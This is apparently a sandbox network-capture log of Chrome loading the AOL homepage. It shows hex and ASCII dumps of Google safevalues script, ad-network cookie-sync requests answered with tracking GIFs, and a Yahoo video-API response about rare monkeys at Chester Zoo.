2024-05-23 22:35:18 UTC	1390	IN	Data Raw: 76 61 72 20 62 3d 6e 75 6c 6c 3b 76 61 72 20 64 3d 65 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 69 66 28 64 26 26 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 74 72 79 7b 62 3d 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 67 6f 6f 67 23 68 74 6d 6c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 66 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 66 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 66 7d 29 7d 63 61 74 63 68 28 63 29 7b 65 2e 63 6f 6e 73 6f 6c 65 26 26 65 2e 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 63 2e 6d 65 73 73 61 67 65 29 7d 6e 3d 62 7d 61 3d 28 62 3d 6e 29 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 71 28 61 29 7d 3b 76 61 72 20 74 3d 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 Data Ascii: var b=null;var d=e.trustedTypes;if(d&&d.createPolicy)try{b=d.createPolicy("goog#html",{createHTML:f,createScript:f,createScriptURL:f})}catch(c){e.console&&e.console.error(c.message)}n=b}a=(b=n)?b.createScriptURL(a):a;return new q(a)};var t=class{construct
2024-05-23 22:35:18 UTC	1390	IN	Data Raw: 74 20 73 75 70 70 6f 72 74 65 64 2e 5c 6e 5c 6e 20 20 20 20 54 68 65 20 66 75 6e 63 74 69 6f 6e 73 20 69 6e 20 74 68 65 20 73 61 66 65 76 61 6c 75 65 73 20 6c 69 62 72 61 72 79 20 61 72 65 20 6e 6f 74 20 64 65 73 69 67 6e 65 64 20 74 6f 20 62 65 20 63 61 6c 6c 65 64 5c 6e 20 20 20 20 6c 69 6b 65 20 6e 6f 72 6d 61 6c 20 66 75 6e 63 74 69 6f 6e 73 2c 20 61 6e 64 20 64 6f 69 6e 67 20 73 6f 20 69 6e 76 61 6c 69 64 61 74 65 73 20 74 68 65 20 73 65 63 75 72 69 74 79 20 67 75 61 72 61 6e 74 65 65 73 5c 6e 20 20 20 20 74 68 61 74 20 73 61 66 65 76 61 6c 75 65 73 20 70 72 6f 76 69 64 65 73 2e 5c 6e 5c 6e 20 20 20 20 49 66 20 79 6f 75 20 61 72 65 20 73 74 75 63 6b 20 61 6e 64 20 6e 6f 74 20 73 75 72 65 20 68 6f 77 20 74 6f 20 70 72 6f 63 65 65 64 2c 20 70 6c 65 61 Data Ascii: t supported.\n\n The functions in the safevalues library are not designed to be called\n like normal functions, and doing so invalidates the security guarantees\n that safevalues provides.\n\n If you are stuck and not sure how to proceed, plea
2024-05-23 22:35:18 UTC	749	IN	Data Raw: 6f 75 74 3a 62 6c 61 6e 6b 2f 2e 74 65 73 74 28 64 29 29 7b 69 66 28 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 21 3d 3d 64 26 26 21 2f 5e 61 62 6f 75 74 3a 62 6c 61 6e 6b 23 2f 2e 74 65 73 74 28 64 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 54 68 65 20 61 62 6f 75 74 20 75 72 6c 20 69 73 20 69 6e 76 61 6c 69 64 2e 22 29 3b 63 3d 21 30 7d 65 6c 73 65 20 63 3d 21 31 3b 69 66 28 21 63 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 54 72 79 69 6e 67 20 74 6f 20 69 6e 74 65 72 70 6f 6c 61 74 65 20 65 78 70 72 65 73 73 69 6f 6e 73 20 69 6e 20 61 6e 20 75 6e 73 75 70 70 6f 72 74 65 64 20 75 72 6c 20 66 6f 72 6d 61 74 2e 22 29 3b 20 0a 64 3d 61 5b 30 5d 3b 66 6f 72 28 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 64 2b 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d Data Ascii: out:blank/.test(d)){if("about:blank"!==d&&!/^about:blank#/.test(d))throw Error("The about url is invalid.");c=!0}else c=!1;if(!c)throw Error("Trying to interpolate expressions in an unsupported url format."); d=a[0];for(c=0;c<b.length;c++)d+=encodeURICom

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
755	192.168.2.6	50621	209.54.182.161	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	478	OUT	GET /ecm3?id=LWJTZABN-X-K4PW&ex=d-rubiconproject.com&status=ok&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; ad-privacy=0
2024-05-23 22:35:18 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: DMKASJZV9GKVB3WJWFVZ Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
756	192.168.2.6	50619	76.223.111.18	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	494	OUT	GET /xuid?mid=3658&xuid=8369ae03-bf51-422b-a15c-33306b0e1dfe&dongle=0cfd&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluid=3476490108663385185440; tluidp=3476490108663385185440
2024-05-23 22:35:18 UTC	612	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:18 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:18 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-23 22:35:18 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
757	192.168.2.6	50610	195.5.165.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	708	OUT	GET /cookiesync?gdpr=0&gdpr_consent= HTTP/1.1 Host: core.iprom.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:18 UTC	235	IN	HTTP/1.1 200 OK Vary: Accept-Encoding X-adserver-worker: docker9-e821598a21d0@version_1.7.4 Connection: close X-server-arch: v2 Content-Type: image/gif Content-Length: 43 X-core-time: 1ms Date: Thu, 23 May 2024 22:35:18 GMT
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
758	192.168.2.6	50614	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	2671	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NzUmdGw9NDMyMDA=&gdpr=0&gdpr_consent=&piggybackCookie=8785666810998501200 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]
2024-05-23 22:35:18 UTC	646	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_391=22924-8785666810998501200&KRTB&23263-8785666810998501200&KRTB&23481-8785666810998501200; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:18 GMT; path=/ Set-Cookie: PugT=1716503718; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:18 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:18 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
759	192.168.2.6	50612	76.223.111.18	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	499	OUT	GET /xuid?mid=5989&xuid=CAESEDunR39p6uOag-kf4Op45Fg&dongle=c627&gdpr=0&gdpr_consent=&google_cver=1 HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluid=3476490108663385185440; tluidp=3476490108663385185440
2024-05-23 22:35:18 UTC	612	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:18 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:18 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-23 22:35:18 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
760	192.168.2.6	50608	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	2045	OUT	GET /v1/video/sapi/streams/367e5c27-5f3b-3a8e-9d25-71dc03f1baf2,f5867e17-2f40-3a07-b39f-1db69858c290,b0a7775d-cd3b-37fc-9f7a-7dfa65956716,c4c2ea15-7809-3863-9822-c3765d9e5078,27a1a0b4-06de-375d-a99a-c25a84a80ac5,cf629d8b-ceda-3442-99e8-83229365f796,d2444c30-c4aa-3c54-ba98-10949ff359f7,b864d72c-ddad-36a8-9d41-7a5af07d805d,e38087c7-c433-3a02-9744-b61dd663dac6,def7e093-76e2-3d5d-b6c3-90f8616e4fae,78c7dc09-3b09-3296-9210-65c5385b358f?ad.pubfamily=aol&srid=1342163871&protocol=http&format=m3u8%2Cmp4%2Cwebm&rt=html&devtype=desktop&offnetwork=false&plid=c32aa27e-7796-468d-8df4-0e2b43fa14aa&region=US&site=aolhomepage&expb=aol-acookie-control%2Caol-aa-1&expn=aolhomepage&bckt=Treatment_Oath_Player&lang=en-US&width=368&height=276&resize=true&ps=r64bnmq6%2Cfo37qnhd%2Cywnyod13%2Cclhsrz96%2Cpzgsp547%2Cn9aexdnr%2C87rn5tzx%2Ctq4z1w68%2Cd6733kto%2Ca2dsnk9s%2Ckgca5uwg&autoplay=false&image_sizes=&excludePS=true&isDockable=0&acctid=&synd=&pspid=1197803361&plidl=&topic=&pver=1.6.29&try=1&failover_count=0&ads=ima&ad.pl=up&ad.pd=&ad [TRUNCATED] Host: video-api.yql.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:18 UTC	1110	IN	HTTP/1.1 200 OK content-type: application/json;charset=utf-8 ps: r64bnmq6%2Cfo37qnhd%2Cywnyod13%2Cclhsrz96%2Cpzgsp547%2Cn9aexdnr%2C87rn5tzx%2Ctq4z1w68%2Cd6733kto%2Ca2dsnk9s%2Ckgca5uwg cache-control: private vary: Accept-Encoding access-control-allow-origin: https://www.aol.com access-control-allow-methods: GET, POST, HEAD, OPTIONS timing-allow-origin: * access-control-allow-credentials: true access-control-allow-headers: Content-Type access-control-expose-headers: Access-Control-Allow-Credentials, Access-Control-Allow-Headers, Access-Control-Allow-Origin, Content-Length, SKT y-rid: 3effjtdj4vh56 x-yahoo-request-id: 3effjtdj4vh56 x-request-id: f82117f4-a7da-4b61-ac3b-ee4b652c659c x-envoy-upstream-service-time: 35 date: Thu, 23 May 2024 22:35:18 GMT server: ATS Referrer-Policy: no-referrer-when-downgrade Age: 0 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:35:18 UTC	399	IN	Data Raw: 31 39 36 36 0d 0a 7b 22 71 75 65 72 79 22 3a 7b 22 72 65 73 75 6c 74 73 22 3a 7b 22 6d 65 64 69 61 4f 62 6a 22 3a 5b 7b 22 69 64 22 3a 22 33 36 37 65 35 63 32 37 2d 35 66 33 62 2d 33 61 38 65 2d 39 64 32 35 2d 37 31 64 63 30 33 66 31 62 61 66 32 22 2c 22 6d 65 74 61 22 3a 7b 22 61 74 74 72 69 62 75 74 69 6f 6e 22 3a 22 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 68 65 73 74 65 72 20 5a 6f 6f 20 61 6e 6e 6f 75 6e 63 65 64 20 6f 6e 20 54 68 75 72 73 64 61 79 20 74 68 65 20 61 72 72 69 76 61 6c 20 6f 66 20 61 20 66 61 6d 69 6c 79 20 6f 66 20 72 61 72 65 20 52 6f 6c 6f 77 61 79 20 6d 6f 6e 6b 65 79 73 2c 20 6f 6e 65 20 6f 66 20 74 68 65 20 77 6f 72 6c 64 e2 80 99 73 20 6d 6f 73 74 20 65 6e 64 61 6e 67 65 72 65 64 20 73 70 65 63 69 65 73 20 6f 66 20 Data Ascii: 1966{"query":{"results":{"mediaObj":[{"id":"367e5c27-5f3b-3a8e-9d25-71dc03f1baf2","meta":{"attribution":"","description":"Chester Zoo announced on Thursday the arrival of a family of rare Roloway monkeys, one of the worlds most endangered species of
2024-05-23 22:35:18 UTC	1300	IN	Data Raw: 20 61 6e 64 20 64 61 64 20 47 72 69 7a 75 2c 20 61 6c 6f 6e 67 20 77 69 74 68 20 74 77 6f 20 79 6f 75 6e 67 20 73 6f 6e 73 20 41 6e 75 6d 20 61 6e 64 20 49 6c 6f 2e 20 20 54 68 65 20 6d 6f 6e 6b 65 79 73 20 68 61 76 65 20 61 20 75 6e 69 71 75 65 20 6c 6f 6f 6b 3a 20 61 20 64 61 72 6b 20 62 6f 64 79 2c 20 77 68 69 74 65 20 63 68 65 73 74 20 61 6e 64 20 64 69 73 74 69 6e 63 74 69 76 65 20 77 68 69 74 65 20 72 75 66 66 73 20 61 72 6f 75 6e 64 20 74 68 65 69 72 20 66 61 63 65 73 2e 20 20 41 63 63 6f 72 64 69 6e 67 20 74 6f 20 43 68 65 73 74 65 72 20 5a 6f 6f 2c 20 52 6f 6c 6f 77 61 79 20 6d 6f 6e 6b 65 79 73 20 61 72 65 20 6f 6e 20 74 68 65 20 62 72 69 6e 6b 20 6f 66 20 65 78 74 69 6e 63 74 69 6f 6e 20 64 75 65 20 74 6f 20 68 61 62 69 74 61 74 20 6c 6f 73 73 Data Ascii: and dad Grizu, along with two young sons Anum and Ilo. The monkeys have a unique look: a dark body, white chest and distinctive white ruffs around their faces. According to Chester Zoo, Roloway monkeys are on the brink of extinction due to habitat loss
2024-05-23 22:35:18 UTC	1300	IN	Data Raw: 68 5f 61 64 73 22 3a 66 61 6c 73 65 7d 2c 22 73 74 72 65 61 6d 73 22 3a 5b 7b 22 68 6f 73 74 22 3a 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 2e 61 70 69 2e 62 72 69 67 68 74 63 6f 76 65 2e 63 6f 6d 22 2c 22 70 61 74 68 22 3a 22 2f 70 6c 61 79 62 61 63 6b 2f 76 31 2f 61 63 63 6f 75 6e 74 73 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 76 69 64 65 6f 73 2f 36 33 35 33 35 31 31 39 36 32 31 31 32 2f 6d 61 73 74 65 72 2e 6d 33 75 38 3f 62 63 6f 76 5f 61 75 74 68 3d 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 63 33 52 68 64 47 6c 6a 4c 6e 42 73 59 58 6c 69 59 57 4e 72 4c 6d 46 77 61 53 35 69 63 6d 6c 6e 61 48 52 6a 62 33 5a 6c 4c 6d 4e 76 62 53 4a 64 4c 43 4a 68 59 32 4e 70 5a 43 49 36 49 6a 59 30 4d 54 55 32 Data Ascii: h_ads":false},"streams":[{"host":"https://edge.api.brightcove.com","path":"/playback/v1/accounts/6415665815001/videos/6353511962112/master.m3u8?bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsic3RhdGljLnBsYXliYWNrLmFwaS5icmlnaHRjb3ZlLmNvbSJdLCJhY2NpZCI6IjY0MTU2
2024-05-23 22:35:18 UTC	1300	IN	Data Raw: 4d 34 4e 6a 59 33 49 69 77 69 5a 58 68 77 49 6a 6f 78 4e 7a 45 32 4e 54 41 30 4d 44 45 34 4c 43 4a 70 59 58 51 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 33 4d 54 68 39 2e 51 64 6a 68 45 38 68 4d 61 4f 31 45 75 52 52 5a 6a 67 37 4a 47 4a 4f 6b 62 6b 6b 32 47 4b 6e 4b 71 4d 38 77 43 44 55 6a 36 4b 52 71 6e 6f 51 4d 52 39 6e 43 5f 4a 7a 6d 72 77 4e 65 53 58 6d 66 4f 4a 57 4a 62 6d 66 5a 4d 58 59 67 54 64 47 4e 35 69 4a 33 61 6a 5f 67 55 71 39 50 4f 43 61 6d 31 35 71 51 4f 50 46 33 48 77 49 42 55 2d 5a 75 35 79 5f 59 33 70 48 50 51 76 44 4f 4d 51 5f 4a 59 30 36 50 5f 4c 65 47 5f 2d 30 4b 74 54 50 2d 69 37 79 50 59 44 49 44 6d 72 6e 38 6f 79 54 48 48 37 65 72 73 4e 42 69 2d 35 34 5f 56 56 65 6d 42 52 61 46 30 46 69 62 67 54 63 73 43 54 78 75 32 64 64 70 59 44 64 6c Data Ascii: M4NjY3IiwiZXhwIjoxNzE2NTA0MDE4LCJpYXQiOjE3MTY1MDM3MTh9.QdjhE8hMaO1EuRRZjg7JGJOkbkk2GKnKqM8wCDUj6KRqnoQMR9nC_JzmrwNeSXmfOJWJbmfZMXYgTdGN5iJ3aj_gUq9POCam15qQOPF3HwIBU-Zu5y_Y3pHPQvDOMQ_JY06P_LeG_-0KtTP-i7yPYDIDmrn8oyTHH7ersNBi-54_VVemBRaF0FibgTcsCTxu2ddpYDdl
2024-05-23 22:35:18 UTC	1300	IN	Data Raw: 32 61 61 32 37 65 2d 37 37 39 36 2d 34 36 38 64 2d 38 64 66 34 2d 30 65 32 62 34 33 66 61 31 34 61 61 26 73 68 6f 77 5f 6e 61 6d 65 3d 41 50 26 73 69 74 65 3d 61 6f 6c 68 6f 6d 65 70 61 67 65 26 72 65 67 69 6f 6e 3d 55 53 26 6c 61 6e 67 3d 65 6e 2d 55 53 26 73 70 61 63 65 5f 69 64 3d 31 31 39 37 38 30 33 33 36 31 26 65 78 70 65 72 69 65 6e 63 65 3d 61 6f 6c 68 6f 6d 65 70 61 67 65 26 65 78 70 6e 3d 61 6f 6c 68 6f 6d 65 70 61 67 65 26 65 78 70 62 3d 61 6f 6c 2d 61 63 6f 6f 6b 69 65 2d 63 6f 6e 74 72 6f 6c 25 32 43 61 6f 6c 2d 61 61 2d 31 26 62 5f 69 64 3d 33 39 65 64 38 74 6c 6a 34 76 68 34 35 26 6c 69 63 65 6e 73 6f 72 5f 69 64 3d 61 30 37 37 30 30 30 30 30 30 49 70 6f 4a 69 41 41 4a 26 75 73 5f 70 72 69 76 61 63 79 3d 31 59 4e 4e 26 69 73 44 6f 63 6b 61 Data Ascii: 2aa27e-7796-468d-8df4-0e2b43fa14aa&show_name=AP&site=aolhomepage&region=US&lang=en-US&space_id=1197803361&experience=aolhomepage&expn=aolhomepage&expb=aol-acookie-control%2Caol-aa-1&b_id=39ed8tlj4vh45&licensor_id=a077000000IpoJiAAJ&us_privacy=1YNN&isDocka
2024-05-23 22:35:18 UTC	1300	IN	Data Raw: 53 6f 4d 41 4a 61 58 55 48 32 54 53 59 51 49 52 65 46 38 47 63 6f 51 5f 48 43 73 49 36 45 6d 76 71 49 66 2d 79 42 30 45 4f 33 63 6a 46 4c 42 6b 5f 6d 38 46 6f 59 69 43 35 55 74 34 30 74 5a 36 67 50 42 4e 78 4a 78 57 38 6f 44 79 69 73 42 43 36 30 47 63 6a 69 5f 4f 33 6c 50 2d 66 6f 68 31 4d 4b 61 6c 75 58 56 53 62 45 50 4d 6a 64 74 44 5a 42 34 48 32 6b 48 44 76 35 5f 4f 66 4f 4d 50 45 79 79 65 70 6d 69 4e 6d 6d 31 65 44 65 42 4c 74 63 50 56 45 79 30 69 41 22 2c 22 63 64 6e 22 3a 22 62 63 70 22 2c 22 74 6f 6b 65 6e 22 3a 22 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 63 47 78 68 65 57 4a 68 59 32 73 75 59 58 42 70 4c 6d 4a 79 61 57 64 6f 64 47 4e 76 64 6d 55 75 59 32 39 74 49 6c 30 73 49 6d 46 6a 59 32 Data Ascii: SoMAJaXUH2TSYQIReF8GcoQ_HCsI6EmvqIf-yB0EO3cjFLBk_m8FoYiC5Ut40tZ6gPBNxJxW8oDyisBC60Gcji_O3lP-foh1MKaluXVSbEPMjdtDZB4H2kHDv5_OfOMPEyyepmiNmm1eDeBLtcPVEy0iA","cdn":"bcp","token":"eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2
2024-05-23 22:35:18 UTC	1300	IN	Data Raw: 72 65 61 74 68 73 2e 26 71 75 6f 74 3b 20 5b 62 72 65 61 74 68 65 73 20 68 65 61 76 69 6c 79 5d 20 26 71 75 6f 74 3b 4d 61 72 6b 2c 20 79 6f 75 26 23 33 39 3b 72 65 20 6e 6f 74 20 61 20 76 61 63 75 75 6d 20 63 6c 65 61 6e 65 72 2e 26 71 75 6f 74 3b 3c 2f 70 3e 3c 70 3e 3a 3a 20 42 61 72 72 65 74 20 5a 6f 70 68 2c 20 4f 70 65 6e 41 49 20 72 65 73 65 61 72 63 68 65 72 3c 2f 70 3e 3c 70 3e 26 71 75 6f 74 3b 59 6f 75 20 68 61 76 65 20 74 68 72 65 65 20 78 20 61 6e 64 20 79 6f 75 20 77 61 6e 74 20 74 6f 20 66 69 6e 64 20 74 68 65 20 76 61 6c 75 65 20 6f 66 20 78 2e 20 54 68 69 6e 6b 20 61 62 6f 75 74 20 77 68 61 74 20 6f 70 65 72 61 74 69 6f 6e 20 77 6f 75 6c 64 20 75 6e 64 6f 20 6d 75 6c 74 69 70 6c 69 63 61 74 69 6f 6e 2e e2 80 9d 20 e2 80 9c 49 73 20 74 68 Data Ascii: reaths." [breathes heavily] "Mark, you're not a vacuum cleaner."</p><p>:: Barret Zoph, OpenAI researcher</p><p>"You have three x and you want to find the value of x. Think about what operation would undo multiplication. Is th
